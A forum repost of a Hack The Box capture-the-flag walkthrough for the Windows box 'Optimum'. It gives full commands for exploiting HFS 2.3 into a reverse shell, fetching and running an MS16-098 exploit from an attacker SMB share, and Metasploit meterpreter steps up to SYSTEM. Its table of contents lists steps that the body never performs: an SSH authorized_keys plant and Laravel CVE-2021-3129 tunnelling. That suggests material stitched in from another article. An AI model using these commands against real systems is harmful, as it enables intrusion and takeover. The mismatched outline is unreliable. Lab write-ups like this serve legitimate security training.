• We just launched and are currently in beta. Join us as we build and grow the community.

Hack the Box Challenge: Optimum Walkthrough

Geody19

Manga Panel Translator
G Rep
0
0
0
Rep
0
G Vouches
0
0
0
Vouches
0
Posts
120
Likes
171
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 400 XP
Introduction

Optimum is an “easy” rated Windows CTF box on HackTheBox platform. The box includes exploitation of 2 CVEs and is considerably easy to exploit. It teaches basics on running public exploit and reconnaissance. Let’s see how we root the box.

Table of content

Network Scanning

  • Nmap

Enumeration

  • Finding public exploit for HFS

Exploitation – Method 1

  • Modifying HFS RCE Exploit
  • Exploiting HFS 2.3
  • Initial information gathering
  • Setting up my SSH key in the victim’s authorized_keys file

Privilege Escalation – Method 1

  • Tunnelling internal website to our system
  • Exploiting Laravel CVE-2021-3129to snag root flag

Exploitation – Method 2

  • Metasploit rejetto_hfs_exec module

Privilege Escalation – Method 2

  • Metasploit ms16_032_secondary_logon_privesc module

Conclusion

Network Scanning

First, we will run a nmap scan on the victim machine with IP address 10.129.201.66. It showed us that HFS version 2.3 was running on port 80.

Code:
nmap -sC -sV 10.129.201.66

1.png


Enumeration

Upon looking for HFS v2.3 exploits on exploit-db using searchsploit we found an RCE exploit 39161.py

Code:
searchsploit hfs
searchsploit -m 39161

2.png


Exploitation – Method 1

Upon reading the source code, we found the correct way to run this exploit.

3.png


Thus, according to the exploit, we need to run a web server that hosts a nc.exe binary. Since hfs.exe runs on Windows, we need a valid exe. This exe is available by default in Kali linux under the folder /usr/share/windows-binaries

Code:
python -m SimpleHTTPServer 80

4.png


Now that that’s done, we need to edit the source code a bit more. We need to tidy it up by removing comments and instructions and also put in our local (Kali) IP address and Port on which we want to receive reverse connection. Here, 10.10.14.123 and 1234 port.

5.png


Essentially what this exploit will do is it will execute command on the HFS server and give a reverse shell on port 1234. For that we will set up a netcat reverse listener on port 1234 later.

Now, we can run the exploit using the command:

python3 exploit.py <target IP> <target port>

Code:
python3 39161.py 10.129.201.66 80

6.png


Now we set up a reverse listener before we execute this command. Then upon successful execution we will receive a reverse shell.

Code:
nc -nlvp 1234
systeminfo

7.png


Privilege Escalation – Method 1

As seen in the screenshot above, the version of Windows mentioned above is vulnerable to post exploitation vulnerability MS16-098 as mentioned in the bulletin post here. The exploit is available on exploit-db.com

8.png


As you can see, binary of this exploit is available on the link mentioned in the source code. Let’s download this binary and host it in our SMB Server. We can create a manual SMB server or use impacket-smbserver to do the same.

Code:
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe
impacket-smbserver share $(pwd) -smb2support

9.png


Now, on the shell that we had earlier obtained, let’s download this exploit using the copy command

Code:
cd c:\\users\\public
copy \\10.10.14.123\share\41020.exe

10.png


Now that the exploit has been downloaded, we run this and obtain SYSTEM privileges!

11.png


Exploitation – Method 2

To ease up the things, HFS v2.3 exploit is available in Metasploit too. We’ll just fire up Metasploit and execute the exploit

Code:
use exploit/windows/http/rejetto_hfs_exec
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 10.129.201.66
set lhost 10.10.14.123
set srvhost 10.10.14.123
exploit
sysinfo

12.png


And just like that, we have a working meterpreter session! Now we can proceed for privilege escalation.

Privilege Escalation – Method 2

When a valid session has been obtained privilege escalation using the ms16_032_secondary_logon_privesc module is possible. This module exploits the lack of sanitization of standard handles in Windows’ Secondary Logon Service. It duplicates a Logon Handle and impersonates privileged token to gain privilege escalation. You can read more about the vulnerability here.

To launch this, we need to set the active session of vulnerable Windows version and the local host

Code:
use exploit/windows/local/ ms16_032_secondary_logon_privesc
set session 3
set lhost 10.10.14.123
exploit

13.png


As you can see, a new meterpreter session will now be opened which has cached a privileged token that the module earlier obtained. To get SYSTEM privileges,

Code:
getsystem
getuid

14.png


Now that we have SYSTEM privileges, we can snag the respective user and root flags. The user flag is available at “C:\users\kostas\Desktop” and root flag at “C:\Users\Administrator\Desktop”

15.png


Let’s read the congratulatory flag and end our CTF challenge!

Conclusion

In the article, we demonstrated two methods to root the box Optimum on HackTheBox. It is a beginner-friendly box and gives a user brief on running public exploits. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
 

429,065

311,668

311,677

Top